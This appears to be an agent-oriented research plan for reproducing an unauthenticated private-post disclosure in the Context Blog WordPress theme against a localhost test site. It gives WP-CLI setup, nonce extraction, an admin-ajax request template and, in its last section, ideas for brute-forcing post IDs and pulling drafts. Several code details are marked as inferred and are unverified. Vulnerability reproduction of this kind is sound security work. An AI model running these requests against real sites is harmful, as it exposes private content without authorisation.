Context Blog <= 1.2.5 - Unauthenticated Private Post Disclosure

This research plan outlines the steps to investigate and exploit CVE-2025-12074 in the Context Blog WordPress theme.

1. Vulnerability Summary

The Context Blog theme (<= 1.2.5) contains an information exposure vulnerability via an unauthenticated AJAX action. The theme registers an AJAX handler, context_blog_modal_popup, intended to display post content in a modal. However, the handler fails to validate the post_status or post_password of the requested post. Consequently, any unauthenticated user can provide the ID of a private, draft, or password-protected post and retrieve its full content.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: context_blog_modal_popup
• Payload Parameter: pid (inferred as the standard for Post ID in this theme) or post_id (inferred).
• Authentication: Unauthenticated (wp_ajax_nopriv hook).
• Preconditions: The attacker must know or brute-force the ID of a non-public post.

3. Code Flow (Inferred)

1. Entry Point: The theme registers the action:
   add_action( 'wp_ajax_context_blog_modal_popup', 'context_blog_modal_popup' );
add_action( 'wp_ajax_nopriv_context_blog_modal_popup', 'context_blog_modal_popup' );
2. Input Handling: The function context_blog_modal_popup() retrieves a post ID from $_POST['pid'] or $_GET['pid'].
3. Data Retrieval: The code calls get_post( $pid ) or initializes a new WP_Query with the provided ID.
4. Information Exposure (Sink): The code proceeds to output apply_filters( 'the_content', $post->post_content ) without checking if get_post_status( $post ) is 'publish' or if the current user has read_private_posts capabilities.

4. Nonce Acquisition Strategy

While the vulnerability is "unauthenticated," WordPress AJAX handlers often implement a basic nonce check using check_ajax_referer to prevent CSRF.

1. Identify Nonce Action: Search the theme (likely in inc/ or functions.php) for wp_create_nonce. Look for an action string associated with the modal or script localization.
   • Likely Action: context-blog-nonce (inferred).
2. Locate Localization: Search for wp_localize_script. The nonce is likely passed to a JS object like context_blog_obj or context_blog_ajax.
3. Acquisition Steps:
   • The theme likely enqueues the modal script on all pages. Navigate to the homepage.
   • Use browser_eval to find the nonce:
     browser_eval("window.context_blog_obj?.nonce") (inferred variable name).
   • If no nonce check exists in the context_blog_modal_popup function, this step is skipped.

5. Test Data Setup

Before exploitation, setup the following environment using WP-CLI:

1. Create Private Post:
   wp post create --post_type=post --post_title="Secret Private Post" --post_content="This is sensitive internal data." --post_status=private
2. Create Password Protected Post:
   wp post create --post_type=post --post_title="Protected Post" --post_content="This content requires a password." --post_status=publish --post_password="password123"
3. Note IDs: Capture the IDs of these posts for the exploit payload.

6. Exploitation Strategy

Perform the following steps using the http_request tool:

Step 1: Detect Nonce and Parameter Name

First, inspect the theme's source to confirm the parameter and nonce names.

• Browse the theme files: ls wp-content/themes/context-blog/
• Grep for the action: grep -rn "context_blog_modal_popup" wp-content/themes/context-blog/
• Identify the input parameter (e.g., $_POST['pid']) and the nonce verification call (e.g., check_ajax_referer('context-blog-nonce', 'security')).

Step 2: Extract Nonce (if required)

If a nonce is verified in the code:

• Navigate to the homepage: browser_navigate("http://localhost:8080")
• Extract: browser_eval("context_blog_obj.nonce") (Adjust based on findings in Step 1).

Step 3: Trigger Information Exposure

Send a POST request to the AJAX endpoint targeting a private post ID.

Request Template:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body: action=context_blog_modal_popup&pid=[PRIVATE_POST_ID]&security=[NONCE]

Note: Replace pid and security with the actual parameter names found in Step 1.

7. Expected Results

• Success: The HTTP response body contains the string: "This is sensitive internal data." (the content of the private post).
• Response Format: Usually raw HTML or JSON containing the post content.
• Vulnerability Confirmation: The content is returned despite the request being unauthenticated (no cookies) and the post status being private.

8. Verification Steps

After the exploit, confirm the exposure was indeed unauthorized:

1. Verify the post is still private: wp post get [ID] --field=post_status
2. Attempt to view the post normally as an unauthenticated user: http_request("http://localhost:8080/?p=[ID]"). This should result in a 404 or a redirect, confirming that the standard WordPress query correctly protects the post, while the theme's AJAX handler does not.

9. Alternative Approaches

• Brute Force: If the IDs of sensitive posts are unknown, script a loop to iterate through IDs 1-100 via the admin-ajax.php endpoint.
• Draft Extraction: Target post_status=draft posts by using their specific IDs, as draft posts often contain incomplete but sensitive corporate communications.
• GET Request: Check if the handler accepts $_GET as well as $_POST, which would allow for easier exploitation via simple URL navigation.